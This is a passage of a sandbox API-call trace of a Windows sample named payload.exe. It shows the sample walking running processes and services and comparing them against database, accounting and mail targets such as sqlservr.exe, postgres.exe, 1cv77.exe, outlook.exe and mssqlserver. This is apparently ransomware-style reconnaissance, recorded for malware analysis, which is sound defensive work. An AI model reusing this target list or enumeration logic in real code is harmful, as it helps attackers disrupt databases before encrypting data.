lpString2="svchost.exe") returned -1 [0092.667] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0092.667] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0092.667] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0092.667] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0092.667] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.667] lstrlenW (lpString="svchost.exe") returned 11 [0092.667] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0092.667] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0092.668] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0092.668] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0092.668] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.668] lstrlenW (lpString="svchost.exe") returned 11 [0092.668] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.668] lstrlenW (lpString="svchost.exe") returned 11 [0092.668] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.668] lstrlenW (lpString="svchost.exe") returned 11 [0092.668] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0092.669] lstrlenW (lpString="audiodg.exe") returned 11 [0092.669] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.669] lstrlenW (lpString="svchost.exe") returned 11 [0092.669] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.669] lstrlenW (lpString="svchost.exe") returned 11 [0092.669] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0092.669] lstrlenW (lpString="userinit.exe") returned 12 [0092.669] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0092.670] lstrlenW (lpString="dwm.exe") returned 7 [0092.670] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0092.670] lstrlenW (lpString="explorer.exe") returned 12 [0092.670] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0092.670] lstrlenW (lpString="spoolsv.exe") returned 11 [0092.670] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0092.670] lstrlenW (lpString="taskhost.exe") returned 12 [0092.670] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0092.671] lstrlenW (lpString="svchost.exe") returned 11 [0092.671] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0092.671] lstrlenW (lpString="payload.exe") returned 11 [0092.671] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0092.671] lstrlenW (lpString="reader_sl.exe") returned 13 [0092.671] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0092.672] lstrlenW (lpString="dllhost.exe") returned 11 [0092.672] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0092.672] CloseHandle (hObject=0x190) returned 1 [0092.672] Sleep (dwMilliseconds=0x1f4) [0093.235] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70d0 [0093.240] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0093.241] GetLastError () returned 0xea [0093.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe90) returned 0x4089028 [0093.241] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xe90, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0093.241] CloseServiceHandle (hSCObject=0x3ab70d0) returned 1 [0093.241] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0093.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0093.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0093.241] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0093.241] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0093.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0093.241] lstrlenW (lpString="AudioSrv") returned 8 [0093.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0093.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0093.241] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0093.241] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0093.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0093.241] lstrlenW (lpString="BFE") returned 3 [0093.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0093.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0093.241] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0093.241] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0093.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0093.241] lstrlenW (lpString="CryptSvc") returned 8 [0093.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0093.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0093.241] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0093.242] lstrlenW (lpString="CscService") returned 10 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0093.242] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0093.242] lstrlenW (lpString="DcomLaunch") returned 10 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0093.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0093.242] lstrlenW (lpString="Dhcp") returned 4 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0093.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0093.242] lstrlenW (lpString="Dnscache") returned 8 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0093.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0093.242] lstrlenW (lpString="DPS") returned 3 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0093.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0093.242] lstrlenW (lpString="eventlog") returned 8 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0093.242] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0093.242] lstrlenW (lpString="EventSystem") returned 11 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0093.242] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0093.242] lstrlenW (lpString="gpsvc") returned 5 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0093.242] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0093.242] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0093.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0093.242] lstrlenW (lpString="iphlpsvc") returned 8 [0093.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0093.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0093.243] lstrlenW (lpString="LanmanServer") returned 12 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0093.243] lstrlenW (lpString="LanmanWorkstation") returned 17 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0093.243] lstrlenW (lpString="lmhosts") returned 7 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0093.243] lstrlenW (lpString="MMCSS") returned 5 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0093.243] lstrlenW (lpString="MpsSvc") returned 6 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0093.243] lstrlenW (lpString="NlaSvc") returned 6 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0093.243] lstrlenW (lpString="nsi") returned 3 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0093.243] lstrlenW (lpString="PcaSvc") returned 6 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0093.243] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0093.243] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0093.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0093.243] lstrlenW (lpString="PlugPlay") returned 8 [0093.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0093.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0093.244] lstrlenW (lpString="Power") returned 5 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0093.244] lstrlenW (lpString="ProfSvc") returned 7 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0093.244] lstrlenW (lpString="RpcEptMapper") returned 12 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0093.244] lstrlenW (lpString="RpcSs") returned 5 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0093.244] lstrlenW (lpString="SamSs") returned 5 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0093.244] lstrlenW (lpString="Schedule") returned 8 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0093.244] lstrlenW (lpString="SENS") returned 4 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0093.244] lstrlenW (lpString="ShellHWDetection") returned 16 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0093.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0093.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0093.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0093.244] lstrlenW (lpString="Spooler") returned 7 [0093.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0093.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0093.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0093.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0093.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0093.245] lstrlenW (lpString="SysMain") returned 7 [0093.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0093.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0093.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0093.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0093.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0093.245] lstrlenW (lpString="Themes") returned 6 [0093.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0093.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0093.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0093.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0093.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0093.245] lstrlenW (lpString="TrkWks") returned 6 [0093.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0093.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0093.245] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0093.245] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0093.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0093.245] lstrlenW (lpString="UxSms") returned 5 [0093.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0093.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0093.245] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0093.245] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0093.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0093.245] lstrlenW (lpString="Winmgmt") returned 7 [0093.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0093.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0093.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0093.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0093.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0093.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4089028 | out: hHeap=0x4f0000) returned 1 [0093.245] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0093.247] Process32FirstW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0093.247] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0093.247] lstrlenW (lpString="System") returned 6 [0093.247] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0093.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0093.247] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0093.247] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0093.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0093.247] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0093.247] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0093.247] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, 